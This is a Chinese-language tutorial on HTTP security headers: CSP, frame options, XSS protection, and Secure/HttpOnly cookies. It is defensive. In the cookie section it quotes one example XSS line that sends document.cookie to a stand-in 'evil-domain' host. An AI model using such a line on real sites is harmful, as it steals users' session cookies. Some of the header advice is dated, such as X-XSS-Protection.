确保您的 Web 站点或 Web 应用安全是十分重要的,即使是代码中很小的 bug 也可能导致隐私信息被泄露,黑客会尝试偷窃数据。超文本传输协议(HTTP)是一个用于传输超媒体文档(例如 HTML)的应用层协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。了解 HTTP 中的安全选项,非常有助于 Web 开发,下面一起看下。
网页安全政策(Content Security Policy / CSP)
使用 CSP 可以提供一个白名单,明确的告诉浏览器哪些外部资源可以加载和执行。一个完善声明的 CSP 可以极大的加固页面安全性,可以防御 XSS 等注入式攻击。攻击者即使发现了漏洞也没办法注入第三方脚本,除非他还控制了白名单中的机器,或者使用难度更高的方式尝试绕过。建议所有的新项目都配置好合适的 CSP。
Content-Security-Policy: default-src 'none';
然后逐步放开限制,允许某些域的 Javascript,通常允许来自本站的 CSS、Font、AJAX,或者某些外部站点等。
Content-Security-Policy: default-src 'none'; script-src 'self' https://code.jquery.com https://www.google-analytics.com; img-src 'self' https://www.google-analytics.com; connect-src 'self'; font-src 'self'; style-src 'self';
- 更松一点的配置是:默认情况下所有外部资源仅允许本域。不建议使用
default-src '*'
全部放开通行的配置。
Content-Security-Policy: default-src 'self'; ... 其他自定义内容
老项目中引入的资源可能散落在多处,难以整理出一个白名单。对于这种情况,可以使用 CSP 的 report-only
模式,该模式下不执行限制,只记录违规操作并上报至服务器,并观察一段时间之后把日志里面记录的合法站点加入到白名单内。
Frame Options
Frame-Options
给浏览器指示该页面是否允许被 <iframe>
、<frame>
、<object>
标签引入,禁止引入可以防止点击劫持(Clickjacking)式攻击。其前身 X-Frame-Options
是一个非标准响应头。在 CSP 2.0 标准中已经被 Frame-Options
取代。然而 CSP 2.0 还没普及,所以 X-Frame-Options
还在广泛使用中。
如何设置取决于你的站点页面是否需要在 iFrame 中被渲染。使用 deny
完全禁止引入,或者使用 sameorigin
只允许同域引入。尽量避免使用 allow-from
字段,因为兼容性很差。常见的配置如下:
X-Frame-Options: DENY
告诉浏览器不要(DENY)把这个网页放在任何 iFrame 内
X-Frame-Options: SAMEORIGIN
告诉浏览器该页面可以在相同域名页面的 iFrame 中展示
X-Frame-Options: ALLOW-FROM http://demo.com/
允许 demo.com 站点内嵌当前网页内容
XSS 保护(XSS Protection)
现在大多数浏览器都内建了跨站脚本攻击(XSS or CSS)保护功能,通常这个选项可以由用户手动在浏览器端关掉。因此,在响应头中显式声明启用 XSS 保护功能比较好。网站也可以要求浏览器在某些页面主动关掉 XSS 保护功能,但最好不要这样做。浏览器提供的 XSS 保护机制不一定好用,但好歹也提高了攻击成本。
建议
- 添加响应头,如:
X-Xss-Protection: 1;mode=block
Cookie 安全
Cookies 中往往包含着敏感信息,比如 Session ID。这些敏感 Cookie 需要添加 Secure
字段,使其仅在 HTTPS 连接中被传递,而在 HTTP 连接中不被传递。建议同时使用 HSTS 和 Secure Cookie。
Session Cookie 也应该被标记 HttpOnly
字段,防止其被 JavaScript 通过 document.cookie
访问。这可以阻止 XSS 攻击者窃取 Session Cookie。不敏感的 Cookie 可以不加这个字段,但是除非有明显的 Javascrpit 操作需求,我们建议给所有的 Cookie 都加入 HttpOnly
字段。
建议
- 尽可能把所有 Cookie 都加上
Secure
和 HttpOnly
字段。例:
Set-Cookie: Key=Value; path=/; Secure; HttpOnly, Key2=Value2; Secure; HttpOnly
这样就能预防类似下面的 JavaScript 非法盗取 Cookie :
image.src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
robots.txt
通常搜索引擎都遵守约定只爬取 robots.txt 指定的相关页面,所以在包含敏感信息的页面比如登录、设置页面等请配置好 robots.txt,禁止爬虫爬取内容。
通过 securityheaders.com 检查
可以通过网站 https://securityheaders.com/ 来检查安全选项是否配置得当,根据相应的建议添加更多配置。
除此之外,还可以更多了解 Web 安全相关知识和工具,下面整理了些业界资料,以供参考: